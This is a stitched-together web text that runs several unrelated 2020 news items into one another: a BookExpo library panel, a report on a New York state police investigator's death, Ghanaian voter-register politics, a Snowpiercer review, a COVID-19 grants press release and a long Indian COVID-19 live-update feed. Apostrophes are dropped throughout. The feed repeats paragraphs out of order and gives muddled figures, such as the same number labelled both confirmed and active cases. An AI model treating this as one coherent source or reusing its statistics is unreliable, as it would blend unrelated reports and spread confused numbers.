BookExpo Online starts on May 26 with Librarians Day. The full day of programming begins at 10 a.m. with a session put together by PW. The panel features four library leaders who will take stock of how libraries are handling the coronavirus pandemic thus far and how the public library might change in the wake of the Covid-19 crisis.

The conversation will be moderated by PW columnist Sari Feldman, former executive director of the Cuyahoga County Public Library and past president of both the American Library Association and the Public Library Association. Scheduled to join Feldman are: Kacie Armstrong, director of the Euclid Public Library, Ohio; R. David Lankes, director of the University of South Carolinas School of Information Science; Lisa Rosenblum, director of the King County Library System, Washington; and Ramiro S. Salazar, director of the San Antonio Public Library, Texas.

Other panels set for May 26 include Audiobooks and Consumer Behavior at which Audio Publishers Association executive director Michele Cobb will discuss the newest trends in the booming audiobook market. Pivoting Through Crisis: A Global Pandemics Impact on the Future of Library Services will be moderated by Veronda Pitchford and will examine how libraries are adapting to new demands for their services caused by Covid-19.

For more information on BookExpo Online, visit the BookExpo Facebook page.
ALBANY  A former State Police senior investigator who retired last year amid an investigation of his on-duty activities  and those of his fellow members assigned to a federal drug task force in New York City  died of an apparently self-inflicted gunshot wound Wednesday.

The death of 49-year-old Francis Stabile III, who was found in his vehicle at a boat ramp in Rhinebeck, Dutchess County, came as the state's Joint Commission on Public Ethics and the inspector general's office were probing the task force and the State Police's handling of its own internal investigation, which led multiple members of the agency to retire but did not yield any arrests.

"I can confirm that we are investigating the incident," said Dutchess County sheriff's Capt. John Watterson, adding they received a call to respond to the boat ramp just after 4 p.m. on Wednesday.

The investigation of troopers assigned to the 150-member federal Drug Enforcement Task Force began in February 2018 when Stabile, then a State Police senior investigator, crashed his unmarked police SUV on a Dutchess County highway. He told a trooper who responded to the scene that he had lost control after swerving to avoid a deer.

A resident whose front-yard fence was splintered by Stabile's vehicle said the investigator looked unsteady and had difficulty talking.

The internal probe, which began with a review of the mishandling of the crash by troopers, shifted to the question of why Stabile was off-duty but driving his undercover SUV more than 100 miles north of the DETF's Manhattan headquarters. Stabile's residence at the time was about eight miles south of the crash scene, according to public records. He abruptly retired in January 2019.

The State Police declined to say whether Stabile's retirement was part of a negotiation with the agency. The investigation of the drug task force members was handled by former Troop K Maj. Michael A. Kopy, who retired in the midst of the probe. Capt. James Murphy, another former high-ranking State Police member who had been assigned to the DETF, retired in May 2018, as the probe was ongoing.

In 2018 and 2019, at least 12 State Police members assigned to the DETF applied for retirements.

In January 2019  the same month that Stabile retired  Kopy was appointed as Gov. Andrew M. Cuomo's director of Emergency Management, a position in which he remains.

The Times Union reported in December that the state inspector general's office had launched an investigation of the State Police's handling of the internal probe. It ended last year with no charges being filed against members of the federal task force, who were alleged to have padded their overtime or used government vehicles for personal use.

The unusual intervention by the inspector general's office followed a series of Times Union stories that revealed details of the State Police investigation, which was closed without the agency disclosing its findings. The investigation led to suspensions or retirements of at least a dozen troopers, according to people familiar with the probe.

Historically, the offices of the state's inspector general and attorney general have allowed the State Police to handle investigations of wrongdoing by its members  with an outcome that usually ends with private discipline or forced retirements even when the allegations may be criminal.

Three years ago, the FBI in Boston arrested multiple current and former Massachusetts state troopers accused of padding their incomes by putting in for thousands of dollars in overtime they allegedly never worked.

The U.S. Justice Department pursued that case, which focused on troopers who patrolled the Massachusetts Turnpike. The criminal case relied on a statute that makes it a felony offense to steal from an agency that receives federal funding.

The Times Union reported last year that a person briefed on the New York State Police investigation said there was concern that any pursuit of criminal charges would force the other law enforcement agencies in the DETF, including the New York Police Department and DEA, to pursue investigations of their members' misconduct.

The State Police have declined to comment on their investigation or the more recent probes by JCOPE and the inspector general's office.

"Integrity is paramount at the New York State Police," an agency spokesman said in a statement last year. "All allegations of misconduct are thoroughly investigated and any violators will be held fully accountable." The statement added that "retirement determinations are personal and are not considered a part of the disciplinary process."

A spokesman for the agency declined comment Thursday.
People's National Convention (PNC) General Secretary, Atik Mohammed has supported the call for a new voters' register by the Electoral Commission (EC).



Contributing to ''Kokrokoo'' on Peace FM, Atik Mohammed questioned the logic in the basis of the opposition National Democratic Congress (NDC) for rejecting the compilation of a new voters' register.



Atik Mohammed stated that having a new register will help improve upon the country's electoral system and ensure transparent elections this year.



He added that the notion that the EC's decision to compile a new voters' register exposes the governing New Patriotic Party (NPP) and the President of the Republic of Ghana, Nana Addo Dankwa Akufo-Addo, as a product of a fraud electoral system doesn't defeat the purpose for a new register for the country's electoral process.



According to him, both the NPP and NDC have all benefited from the same fraud system but it is prudent to have a new voters' register that will be long-lasting.



''For me, it makes a lot of sense that someone who profited from a fraud situation wants it corrected. Of course, it's not just the NPP that profited from this. Even NDC profited from the fraud register. We used the same register in 2012. With all the inadequacies associated with the register, NDC also won the elections with it. So, it is fair. Both of them have profited from this flaw. It's time to make the best and move on as a country'', he said.





Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
Theres been a Murder on the Disoriented Express.

Fortunately, theres a trained detective onboard, and hes been called upon to solve the case. Wait, whats that? Oh, hes a TRAIN detective. Thats what everyones calling him: a train detective. Im not sure how that distinguishes him from being a regular detective, but thIere you have it. Climb aboard the pulpy and involving and occasionally flat-out nutso sci-fi series Snowpiercer, and well get to the bottom of this.

Based on and inspired by the 1982 French graphic novel Le Transperceneige and the 2013 film by Bong Joon-ho (Parasite), TNTs Snowpiercer is set eight years before the events of the feature film but also takes place in a new ice age that was created when an attempt to reverse global warming went horribly wrong. The Earth has frozen solid, with temperatures so brutal youd be instantly killed just by stepping into the atmosphere, and the last 3,000 survivors are aboard Snowpiercer, a perpetually running, 1,001-car train that literally circles the planet and has its own ecosystem that provides a steady supply of water, food, fuel and other essentials to keep on chugging.

Snowpiercer is divided into four sections. First class is reserved for the one-percenters, who paid a fortune for the privilege of residing in opulent suites, dining on gourmet meals and living a life of pampered luxury. In second class, youll find the scientists and teachers and other professionals, all living quite comfortably. The janitors and restaurant servers and security personnel are in the decidedly downscale third class, but third class is still far better than the prison-camp conditions of the tailies, who stormed the train without tickets just before it pulled out of Chicago and are forced to do slave labor and live in cars with no sunlight, no beds and just enough food and water to keep them alive.

Gee, with a class system like that in a perpetually moving modern-day ark no one can ever leave, what could possibly go wrong?

Jennifer Connelly gives one of the most impressive and complex performances of her career as Melanie Cavill, the head of hospitality and the de facto leader of the Snowpiercer community, who is always impeccably outfitted in a teal ensemble and has a demeanor icier than the outside temperatures. Melanie rules every section of the train with an iron fist as she carries out the orders of the mysterious and all-powerful Mr. Wilford, who built the train and is worshipped by his minions as a deity, though he remains holed up in his quarters at the front of the train and hasnt been seen in public for years.

When a corpse is discovered on the train, its limbs and genitalia severed, Melanie summons one Andre Layton (Daveed Diggs) from the bowels of the tailie car, because Layton was a real-world police detective and is uniquely qualified to investigate the case. From that point on, everyone talks about Layton being a train detective, and I swear at first I thought they were saying he was a trained detective. Why they call him a train detective is beyond me. Its not like they call the teachers train teachers or the engineers train engineers or the doctors train doctors.

The murder investigation is the backdrop for a wide-ranging series of subplots, some of which eventually come to the forefront, as we meet various characters in different sections of the train, including a wealthy and grotesquely smug family in first class; Laytons wife, who betrayed the tailies for a better life upfront; a head janitor turned drug dealer; a lesbian couple deeply in love but with conflicting interests; and a brilliant young tailie boy being groomed to become an engineer.

Snowpiercer the series isnt nearly as rough and violent as the 2013 film, but its still a brutal affair, filled with brawls that leave the survivors covered in blood, not to mention the numerous scenes of accused traitors having an arm cut off, the standard punishment for acts of insubordination. (If you REALLY cross the line, theyll just stick your head out the window and itll freeze right off, or theyll pump the icy air straight into your lungs and youll turn blue in seconds.) This is a great-looking series, with just enough CGI shots taken from outside the train to remind us of the ludicrously spectacular nature of this rolling experiment, and nifty camera work taking us from the colorful decadence of first class through the Night Car, a club dripping with opportunities to explore the sins of the flesh, through the Ocean Car, with its tanks of fish, to the dark and hopeless and suffocating world of the tailies.

Daveed Diggs gives a powerful performance as Layton, who organizes the inevitable rebellion against the ruling class even as hes charged with investigating the murder, which turns out to be murders, plural. In the process, he discovers that just about everyone aboard Snowpiercer isnt what they appear to be. This train will have to make at least a few more runs around the world before all the secrets are uncovered.

Snowpiercer

3 stars

WHERE: Streaming on TNT
HARTFORD, Conn., May 21, 2020 /PRNewswire/ -- A total of 34 Connecticut nonprofits have received nearly $577,000 from Harvard Pilgrim Health Care Foundation for COVID-19 relief efforts.

Harvard Pilgrim Foundation awarded the following grants in its initial round of funding starting in mid-March: Greater Hartford COVID-19 Relief Fund, $100,000; Connecticut Food Bank, $50,000; Foodshare, $50,000; Town of Plymouth Community Food Pantry, $25,000; and Clifford Beers, $25,000.

Most other organizations across the state received a $10,000 grant for supporting community needs during the pandemic, such as food access and meal delivery, services for older adults and immigrant families, social and community services, and emergency response.

"Now more than ever it is so critical to support our communities and organizations who are providing services to those residents of Connecticut impacted by COVID-19," said Paul Bartosic, director of sales in Connecticut for Harvard Pilgrim Health Care, parent company of Harvard Pilgrim Foundation. "The impact of this pandemic is enormous and right from the start we have quickly responded to the immediate needs facing nonprofit partners and communities throughout the state. We salute everyone who is helping to feed and care for our community members, and we are committed to supporting them in the weeks and months ahead."

In late April, Harvard Pilgrim Foundation announced a $50,000 grant to the Council of Churches of Greater Bridgeport/FEED Center to sponsor and coordinate the Bridgeport COVID-19 Relief Meal Delivery Project. This grant is enabling FEED to distribute meals to 400 families each week with the use of its Mobile Marketplace.

The following Connecticut organizations have received funding:

AmpleHarvest.org (Statewide)

Center for Latino Progress (Hartford)

Charter Oak Health Center, Inc. (Hartford)

Columbus House, (New Haven)

Community Health and Wellness Center of Greater Torrington (Torrington)

Community Health Services (Hartford)

Connecticut Institute for Communities, Inc. (Danbury)

Cornell Scott-Hill Health Corporation (New Haven)

Council of Churches of Greater Bridgeport/FEED Center (Bridgeport)

CT Food Bank (Southern CT)

End Hunger Connecticut (Hartford)

Fairgate Farm (Stamford)

Fair Haven Community Health Clinic (New Haven)

Foodshare (Northern CT)

Gifts of Love (Avon)

Greater Hartford COVID-19 Response Fund (Hartford)

Grow Windham (Windham)

Hands on Hartford (Hartford)

Hartford Food System (Hartford)

Hockanum Valley Community Council, Inc. (Vernon)

InterCommunity, Inc. (E. Hartford)

Keney Park Sustainability Project (Hartford)

McCall Foundation (Torrington)

Mercy Housing and Shelter (Hartford)

New Britain ROOTS (New Britain)

New Haven Farms & New Haven Land Trust (New Haven)

Optimus Health Care, Inc. (Bridgeport)

Salisbury Visiting Nurse Assn (Salisbury)

Town of Plymouth Community Food Pantry (Plymouth)

Trinity Academy (Hartford)

United Community and Family Services (Norwich)

VNA Valley Care (Simsbury)

Harvard Pilgrim Health Care Foundation committed more than $3.5 million in initial grants for COVID-19 relief efforts in Maine, Mass., New Hampshire, and Connecticut.

About The Harvard Pilgrim Health Care Foundation

Created in 1980, The Harvard Pilgrim Health Care Foundation supports Harvard Pilgrim Health Care's mission to improve the quality and value of health care for the people and communities we serve. The Harvard Pilgrim Foundation provides the tools, training and leadership to help build healthy communities throughout Connecticut, Maine, Massachusetts, and New Hampshire. In 2019, the Harvard Pilgrim Foundation awarded nearly $2.9 million in grants to 990 nonprofit organizations in the region. Since its inception in 1980, the Foundation has awarded $155 million in funds and resources throughout the four states. For more information, please visit www.harvardpilgrim.org/foundation.

SOURCE The Harvard Pilgrim Health Care Foundation

Related Links

http://www.harvardpilgrim.org/foundation


Coronavirus Outbreak Updates: As many as 228 people tested positive for COVID-19 in Bihar on Saturday, taking the total number of cases in the state to 2,394, PTI quotes the health department as saying.

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Both government and private schools will resume for Classes 9 to 12 by complying governments guidelines regarding COVID-19, he told reporters in Gangtok.

The Sikkim government on Friday announced that schools and other educational institutes in the state will reopen on 15 June. Education Minister Kunga Nima Lepcha said the decision was taken by taking into account the importance of higher classes and board exams.

The United States reported 1,260 deaths due to the novel coronavirus in the past 24 hours, according to the Johns Hopkins university. The toll in the worst COVID-affected nation in the world is nearing 98,000.

As of Friday, 11,659 individuals have tested positive for COVID-19 in the National Capital. 5,567 persons have been cured while the toll is 194 in Delhi, according to the Union Ministry of Health and Family Welfare.

Fourteen new areas were added to the list of containment zones in Delhi on Friday taking the total number of such zones to 92 in the National Capital. Till date, 34 areas have been 'de-contained' in Delhi.

The number of deaths in Brazil rose by 1,001 in past 24 hours, the third time in four days it has come in over 1,000.

The South American country has now registered 330,890 COVID-19 infections and 21,048 deaths, though experts say under-testing means the real figures may be 15 times higher or more.

Brazil overtook Russia Friday as the country with the second-highest number of coronavirus infections worldwide after the United States. With this, America emerged as the new epicenter of the pandemic.

As of Friday, 1982 individuals have tested positive for the infectious disease in the state.

According to media reports, around 7 lakh migrant workers have entered the state since the end of April. The figure includes people using any mode of transportation, including Shramik Special trains.

Labourers returning from Delhi back to Bihar have topped the list of migrants who tested COVID-19 positive.

Bihar chief minister Nitish Kumar said that all the migrant workers who have returned to the state will be provided employment, All India Radio News reported on Saturday.

As a precautionary measure, the NGT has directed all staff members, litigants, lawyers or members of the public from entering the NGT premises, which will remain sealed for deep sanitisation from 23 May.

Ashu Garg, Registrar General, NGT, confirmed on Friday about the officer testing positive for the novel coronavirus. The official had last attended office on 19 May and is presently hospitalized, he said.

An officer posted in the General Administration section of the National Green Tribunal (NGT) office in Delhi has tested COVID-19 positive.

The revised advisory issued by the ICMR, however, cautioned that the intake of the medicine should not instill a sense of false security.

As was mentioned in the earlier advisory, the drug against the infection is also recommended for all asymptomatic healthcare workers involved in containment and treatment of COVID-19 and household contacts of laboratory confirmed cases.

A revised government advisory on Friday recommended use of hydroxychloroquine as a preventive medication for asymptomatic healthcare workers working in non-COVID-19 hospitals, frontline staff on surveillance duty in containment zones and paramilitary/police personnel involved in coronavirus infection related activities.

Of the total confirmed, there are 69,597 positive cases across the nation, according to the latest data released by Ministry of Health and Family Welfare.

India registers highest number of 6,654 COVID-19 infections in the past 24 hours, taking total confirmed cases to 1,25,101 on Saturday. After 137 individuals succumbed to the viral infection in the past 24 hours, the COVID-19 toll now stood at 3,720.

In Karnataka, all incoming domestic flight passengers from Maharashtra, Rajasthan, Delhi, Gujarat, Tamil Nadu, Delhi and Madhya Pradesh will undergo seven-day institutional quarantine followed by home quarantine, said Karnataka Director General of Police, Praveen Sood.

The COVID-19 toll in the state climbed to 155 after two more individuals succumbed due to the infectious disease.

Rajasthan reported a total number of 6,542 confirmed cases on Friday after 48 more individuals tested positive till 9 am. The figure includes 2,695 active cases, reported the state health department.

As of Saturday till 9 am, the total number of samples tested for the novel coronavirus across the country stands at 28,34,798. The number of samples tested in the past 24 hours is 1,15,364, the ICMR said.

India has tested over 1.15 lakh samples for COVID-19 in the past 24 hours, Indian Council of Medical Research stated on Saturday.

There are 69,597 active COVID-19 cases in the country while more than 51,000 people have recovered from the contagion. The COVID-19 recovery rate is at 41.4 percent.

More than 1.25 lakh people have been infected from coronavirus in the country till date. On Saturday, the Ministry of Health updated the national COVID-19 tally to 125,101.

Of the total, 826 are active cases and 436 COVID-19 patients have been discharged/cured. So far, seven people have lost their lives.

Eighty more people have tested positive for the novel coronavirus in Odisha on Saturday, taking the total in the state to 1,269, informed the state health department.

West Bengal chief secretary Rajiva Sinha wrote a letter to the Railway board authority saying, "it will not be possible to receive trains for the next few days. It is therefore requested that no train should be sent to West Bengal till 26 May, 2020."

In view of the severe cyclonic storm Amphan and the damage caused to the infrastructure in West Bengal, the state government has restricted the entry of Shramik special trains till 26 May.

Responding to questions on the same, Vijayan said that the difference was in the early intervension that Kerala government ensured. "Social distancing, regular sanitisation of public spaces and other prescribed changes were adapted and implemented in Kerala early on. That is where the difference lies," Vijayan said.

Kerala chief minister Pinarayi Vijayan on Saturday took live questions on Twitter and other social media channel and streamed a presser live on periscope. Kerala has been one of the states that reported first few cases of coronavirus in India but still managed to flatline the curve and prevent community transmission.

Western Railways later clarified that it was in fact a planned diversion to manage excess traffic on the regular route. "Gorakhpur Shramik Special train which departed on 21st May, 2020 was to run on Kalyan - Jalgoan- Bhusaval - Khandwa - Itarsi - Jabalpur - Manikpur route but this train will go to Gorakhpur by diverted route ie via Bilaspur (SECR), Jharsuguda Rourkela, Adra, Asansol (ER) due to heavy traffic congestion on existing routes," Western Media said,

Social media was abuzz with reports that a train which was supposed to leave Vasai Road and Reach Gorakhpur, had surprisingly reached Rourkela station in Odisha. The surprise change in route was attributed to 'driver losing the route'. However, experts pointed out that this was near impossible as drivers do not decide the route of the train and turns and crossings enroute are handled by a robust system, all of which cannot possibly go wrong.

The Delhi International airport authority has said that all flights, for the time being, will fly from Terminal T3. The flight services are to resume partially from 25 May.

All the passengers will have to go through a quarantine procedure which will be either paid quarantine or Government quarantine Centers. Andhra Pradesh Govt is seriously considering home quarantine option- but still under discussion.

We had converted 5,000 coaches into COVID care centres, with 80,000 beds. Since some of these were not being used right now, we used 50 percent of these coaches for Shramik special trains. If needed, they will be used again for COVID care:

Considering the resumption of domestic flight services on Monday, Goa Health Minister Vishwajit Rane on Saturday said he has requested the Civil Aviation Ministry to permit coronavirus antibody testing for passengers upon their arrival. At least 15 flights are scheduled to arrive at the Goa International Airport at Dabolim in South Goa on Monday.

Tamil Nadu has reported 710 new COVID-19 cases and five deaths in 24 hours. The total number of positive cases in the state now stands at 15,512, of which 7,915 are active cases. Death toll now stands at 103.

The Odisha government has allowed home delivery of liquor from Sunday. However, it would cost a bit higher than the maximum retail price, as the state government has introduced a special COVID-19 fee on sale of liquor. However, no excise licensees have been allowed to sell liquor on their premises.

The Railways has drawn up a schedule to operate 2,600 Shramik Special trains over the next 10 days across the country to ferry around 36 lakh migrant workers, stranded due to the COVID-19 lockdown, to their home states, Chairman, Railway Board V K Yadav said on Saturday. He said that the railways has run 2,600 Shramik Special trains in the last 23 days carrying around 36 lakh stranded migrants.

Seventeen more people, including three teenagers, tested positive for coronavirus in Uttar Pradesh's Gautam Buddh Nagar on Saturday, pushing the total number of cases in the district to 323, officials said. Also, seven people were discharged from hospitals after being cured, even as the number of active cases rose to 97, they said.

Between 7 May and 21 May, around 23,000 Indians have been repatriated through flights operated by Air India and its subsidiary Air India Express under this mission. Passengers have to pay money to book a seat on any repatriation flight being operated under the Vande Bharat Mission. The minister said if some passengers do not have smartphones, it is not as if they will not be allowed to travel for they do not have Aarogya Setu app.

Air India pilot unions IPG and ICPA on Saturday threatened they might not be able to extend support to the airline's "normal operations" and in the matter of flight duty and time limitations (FDTL), alleging that financial and other issues of employees remain unresolved. The two unions, which represent the pilots operating Boeing and Airbus aircraft of the airline, in a joint letter to the personnel department, also sought to know the outcome of the various cost-cutting measures which the carrier initiated in March to deal with its precarious finances in the wake of the coronavirus pandemic.

"According to Standard Operating Procedure (SOP) released by Haryana government, shops will open between 9 am and 6 pm. Marriage ceremonies can be organised in banquet halls with up to 50 people in attendance, after obtaining permission from deputy commissioners," says Haryana Minister Anil Vij.

"GoAir is ready and prepared to resume safe operations after the two-month #lockdown. We await clarity on the readiness of the respective states & their airports with regard to acceptance of flights, or the conditions applicable to passengers entering the respective states. Without clarity on these conditions GoAir doesn't wish to inconvenience its passengers by putting on sale flights immediately post 25 May. On receiving clarity, we will open our site for bookings post May 25 up to May 31 as & when & where appropriate," a statement from the airlines said.

Chhattisgarh has joined Goa, Karnataka and Jammu and Kashmir among other states in demanding that fliers reaching state after resumption of domestic travel should quarantine themselves for 14 days. An Indian Express report says that Kerala, Andhra Pradesh,Telangana and Assam have also made similar rules. Goa has also insisted on a mandatory anti-body test for those entering the state.

Spain will reopen its borders to tourists in July and its top soccer division will kick off again in June, the Prime Minister Pedro Sanchez said today, as one of the world's strictest lockdowns starts to ease.

Punjab reported sixteen new coronavirus cases on Saturday, taking the total number of COVID-19 infections in the state to 2,045. Of the new cases, four were detected in Amritsar, three each in Patiala and Jalandhar and one each in Ludhiana, Bathinda, Kapurthala, Pathankot, Gurdaspur and Muktsar.

Screening of those entering the state would be done at all state and district border entry points, as well as railway stations and airports, and those found symptomatic would be sent into institutional quarantine, while others would have to undergo mandatory two-week home quarantine, the chief minister said in his live Facebook programme `#AskCaptain'. Rapid testing teams would check on the home-quarantined persons while those found symptomatic would have to undergo thorough testing in hospitals, Singh said in an official statement also. He made it clear that his government would not rely on any certificate of testing from any part of the country or the world.

Punjab Chief Minister Amarinder Singh on Saturday said all those coming to the state, whether on domestic flights or trains or buses, will have to compulsorily undergo home quarantine for 14 days. He ruled out any complacency despite Punjab posting the highest recovery rate of 90 percent in the country.

Screening of those entering the state would be done at all state and district border entry points, as well as railway stations and airports, and those found symptomatic would be sent into institutional quarantine, while others would have to undergo mandatory two-week home quarantine, the chief minister said in his live Facebook programme `#AskCaptain'. Rapid testing teams would check on the home-quarantined persons while those found symptomatic would have to undergo thorough testing in hospitals, Singh said in an official statement also. He made it clear that his government would not rely on any certificate of testing from any part of the country or the world.

Punjab Chief Minister Amarinder Singh on Saturday said all those coming to the state, whether on domestic flights or trains or buses, will have to compulsorily undergo home quarantine for 14 days. He ruled out any complacency despite Punjab posting the highest recovery rate of 90 percent in the country.

Union Health Secretary Preeti Sudan who held a high-level meeting through video conferencing with principal health secretaries and municipal commissioners along with other officials from the 11 municipal areas urged them to focus on prevention through active screening of high risk and vulnerable population along with effective and sturdy clinical management of the admitted cases to reduce fatality rate.

Eleven municipal areas in seven states and Union Territories that have accounted for 70 percent of India's coronavirus case load were asked by the government on Saturday to step up monitoring in old cities, urban slums and other high density pockets like camps and clusters for migrant workers for management of COVID-19 cases.These 11 municipal areas are from Maharashtra, Tamil Nadu, Gujarat, Delhi, Madhya Pradesh, West Bengal, Rajasthan and account for 70 percent of active case load, PTI quotes the Union health ministry as saying.

Madhya Pradesh reported 201 new COVID-19 cases, including 83 in worst-hit Indore, and nine deaths, taking the total case count to 6,371 and fatalities to 281, PTI quotes state health officials as saying. Two deaths each were reported from Indore, Bhopal and Burhanpur while one person each succumbed to the infection in Khandwa, Dhar and Sagar, they said. So far, 3,267 persons have recovered, leaving MP with 2,823 active cases.

Alert ~ 17 more #COVID19 + confirmed. 4 from Chirang; 4 from Tinsukia; 1 from Goalpara; 8 test + at SMCH - Cachar (3), Hailakandi (3) & Tripura (2) Total cases 346 Recovered 57 Active cases 282 Deaths 04 Migrated 03 Update 10.55 pm / May 23 #AssamCovidCount pic.twitter.com/QJjQ8KqvGH

Jharkhand on Saturday reported 17 new novel coronavirus cases, taking the total count of infections to 340. The state has witnessed three fatalities since the outbreak began on March 31. The new infected people are from Koderma (11) and Ranchi (2), RIMS Director Dr D K Singh said. A health official in Simdega said that four new cases were detected in the district. The government bulletin has not yet been available for more information.

One person tested positive for COVID-19 in Goa today, taking the total number of positive cases in the state to 55 including 39 active cases, reports ANI quoting the state health department.

Pune district's COVID-19 tally reached 5,436 on Saturday after 269 people tested positive for novel coronavirus, while the death toll touched 264 as seven people succumbed to the infection, reports PTI quoting an official. Pune city accounted for 202 of the 269 new cases, followed by Pimpri Chinchwad with 46 and cantonment and rural areas with 21, he added. "Pune city has 4,673 COVID-19 cases, Pimpri Chinchwad 299 and rural areas 464," he said.

Two more policemen have tested positive for the novel coronavirus in Gurugram on Saturday, reports India Today.

As many as 228 people tested positive for COVID-19 in Bihar on Saturday, taking the total number of cases in the state to 2,394, PTI quotes the health department as saying.Sasaram, the headquarters of Rohtas district, reported the maximum number of fresh cases at 33, including five females two of them aged five and eight. The number of cases in Vaishali almost doubled to 48 as the district reported 25 fresh cases all of them males in the age group of 20-45. Most cases have been reported from Raghopur block. Significant numbers of cases were also reported from Madhepura, Darbhanga, Sitamarhi, Madhubani, Khagaria, Katihar, Begusarai, Aurangabad, Banka and Begusarai districts.

Bihar has recorded 11 COVID-19 deaths. Altogether, 653 people have been discharged from hospitals after recovering from the respiratory disease. The state has witnessed a surge in the number of coronavirus cases since 3 May, when it breached the 500-mark and migrant workers began to pour in on special trains and via other modes of transport.

Air India's regional arm 'Alliance Air' on Saturday said it will recommence its flight services from 25 May onwards and operate 57 daily services to different destinations across its network, reports PTI. The airline has tried to connect maximum regional touch-points across the country in its schedule to provide convenient options to the travellers of flying back to their roots as soon as possible, Alliance Air said in a release.

Coronavirus Outbreak Updates: As many as 228 people tested positive for COVID-19 in Bihar on Saturday, taking the total number of cases in the state to 2,394, PTI quotes the health department as saying.

Eleven municipal areas in seven states and Union Territories that have accounted for 70 percent of India's coronavirus case load were asked by the government on Saturday to step up monitoring in old cities, urban slums and other high density pockets like camps and clusters for migrant workers for management of COVID-19 cases

An employee at Maruti Suzuki's Manesar plant tests positive for COVID-19, PTI quotes a company spokesperson as saying. The company is also looking at "a possibility of a second case" of infection at the facility.

A total of 248 new COVID-19 cases and seven deaths reported in Rajasthan today. The total number of positive cases in the state stands at 6,742, including 160 deaths, 3,786 recoveries and 2,796 active cases, according to the state health department.

Coronavirus cases in Ahmedabad crossed the 10,000-mark and rose to 10,001 after 277 new patients were reported on Saturday, the state health department said.

Maharashtra government has said that there is no decision to let flight operations start from Monday in the state, adding that there is no change in policy as of now and the lockdown remains the same till May 31.

"If you have taken a test and your test report is negative, following you don't have any symptoms, so I believe there should be no need for quarantine. The Arogya Setu app is like a passport, if your status on the app is green. Why should anyone want any quarantine," asks Puri.

With domestic flights scheduled to resume from next week, the Jammu and Kashmir and Goa administrations on Saturday said all inbound passengers would have to undergo a compulsory COVID-19 test and administrative quarantine till the time their report is out.

Even as medical journal The Lancet published a paper on Friday saying there were no confirmed benefits of anti-malarial drug hydroxychloroquine (HCQ) being given to Covid-19 patients, the Union health ministry issued an advisory expanding the pool of people to be given the medicine as a prophylactic to prevent them from contracting the infection

The Delhi International airport authority has said that all flights, for the time being, will fly from Terminal T3. The flight services are to resume partially from 25 May.

Social media was abuzz with reports that a train which was supposed to leave Vasai Road and Reach Gorakhpur, had surprisingly reached Rourkela station in Odisha. The surprise change in route was attributed to 'driver losing the route'

India has tested over 1.15 lakh samples for COVID-19 in the past 24 hours, Indian Council of Medical Research stated on Saturday.

As of Saturday till 9 am, the total number of samples tested for the novel coronavirus across the country stands at 28,34,798. The number of samples tested in the past 24 hours is 1,15,364, the ICMR said.

Rajasthan reported a total number of 6,542 confirmed cases on Friday after 48 more individuals tested positive till 9 am. The figure includes 2,695 active cases, reported the state health department.

The COVID-19 toll in the state climbed to 155 after two more individuals succumbed due to the infectious disease.

India registers highest number of 6,654 COVID-19 infections in the past 24 hours, taking total confirmed cases to 1,25,101 on Saturday. After 137 individuals succumbed to the viral infection in the past 24 hours, the COVID-19 toll now stood at 3,720.

Of the total confirmed, there are 69,597 positive cases across the nation, according to the latest data released by Ministry of Health and Family Welfare.

An officer posted in the General Administration section of the National Green Tribunal (NGT) office in Delhi has tested COVID-19 positive.

Ashu Garg, Registrar General, NGT, confirmed on Friday about the officer testing positive for the novel coronavirus. The official had last attended office on 19 May and is presently hospitalized, he said.

As a precautionary measure, the NGT has directed all staff members, litigants, lawyers or members of the public from entering the NGT premises, which will remain sealed for deep sanitisation from 23 May.

Bihar chief minister Nitish Kumar said that all the migrant workers who have returned to the state will be provided employment, All India Radio News reported on Saturday.

Labourers returning from Delhi back to Bihar have topped the list of migrants who tested COVID-19 positive.

According to media reports, around 7 lakh migrant workers have entered the state since the end of April. The figure includes people using any mode of transportation, including Shramik Special trains.

As of Friday, 1982 individuals have tested positive for the infectious disease in the state.

Fourteen new areas were added to the list of containment zones in Delhi on Friday taking the total number of such zones to 92 in the National Capital. Till date, 34 areas have been 'de-contained' in Delhi.

As of Friday, 11,659 individuals have tested positive for COVID-19 in the National Capital. 5,567 persons have been cured while the toll is 194 in Delhi, according to the Union Ministry of Health and Family Welfare.

India registered 6,008 new COVID-19 cases and 148 deaths across India in 24 hours while the number of confirmed COVID-19 cases rose to 1,18,447 and deaths from the novel coronavirus reached 3,583, as per data from the Union Ministry of Health and Family Welfare.

As per Centre, 48,534 patients have recovered from the deadly virus.

However, a PTI tally of figures announced by different states and union territories, as of 9.20 pm, put the nationwide tally much higher at 1,22,656, and the death toll at 3,634 and recoveries at more than 51,000.

Globally, nearly 52 lakh people have tested positive for the deadly virus ever since its emergence in China last December, while 3.3 lakh have lost their lives.

Meanwhile, the Centre on Friday asserted that the coronavirus cases count in India could have been as high as 30 lakh while up to 2.1 lakh more people could have died if the nationwide lockdown was not implemented.

The Centre's remarks came even as the Reserve Bank of India said that macroeconomic impact of the pandemic is turning out to be more severe than initially anticipated.

The central bank also said that beyond the destruction of economic and financial activity, livelihood and health are severely affected.

In another report, even as fears of COVID-19 spreading to the living from the dead continue, a Bombay High Court order is likely to put the discriminatory attitude towards the dead to rest with the court dismissing a bunch of petitions challenging an April circular of the Mumbai civic body designating 20 burial grounds and cemeteries in the metropolis for disposing of bodies of persons who died due to COVID-19.

A division bench of Chief Justice Dipankar Datta and Justice SS Shinde observed the Mumbai civic corporation has power to designate any cemetery or burial ground for disposal of bodies of COVID-19 victims and noted there was no scientific study to show that the novel coronavirus spreads through cadavers.

Meanwhile, the Central government said that it will evacuate stranded Indians from abroad till 13 June and the extended phase will cover 47 countries. The second phase of the 'Vande Bharat Mission' was to end on 22 May.

However, Spokesperson in the Ministry of External Affairs Anurag Srivastava said the ongoing phase will last till 13 June and that India is looking at making Frankfurt a hub for the mission.

As of Thursday, a total of 23,475 Indian nationals were brought back home under the mission which began on 7 May.

Cases from states

Maharashtra, the worst-hit state, reported 2,940 new cases taking its tally to 44,852. Its toll also rose to 1,517 with 63 more fatalities. This was the sixth consecutive day when the state has reported more than 2,000 new coronavirus cases.

Delhi recorded 660 cases, taking its tally to 12,319, while its death toll has now risen to 208.

Gujarat reported 363 new cases, taking its tally to 13,273, while the death of 29 patients pushed the death toll in the state to 802.

Twin brother and sister, born six days ago in Gujarat's Mehsana district, tested positive too, becoming the state's youngest patients for the viral infection.

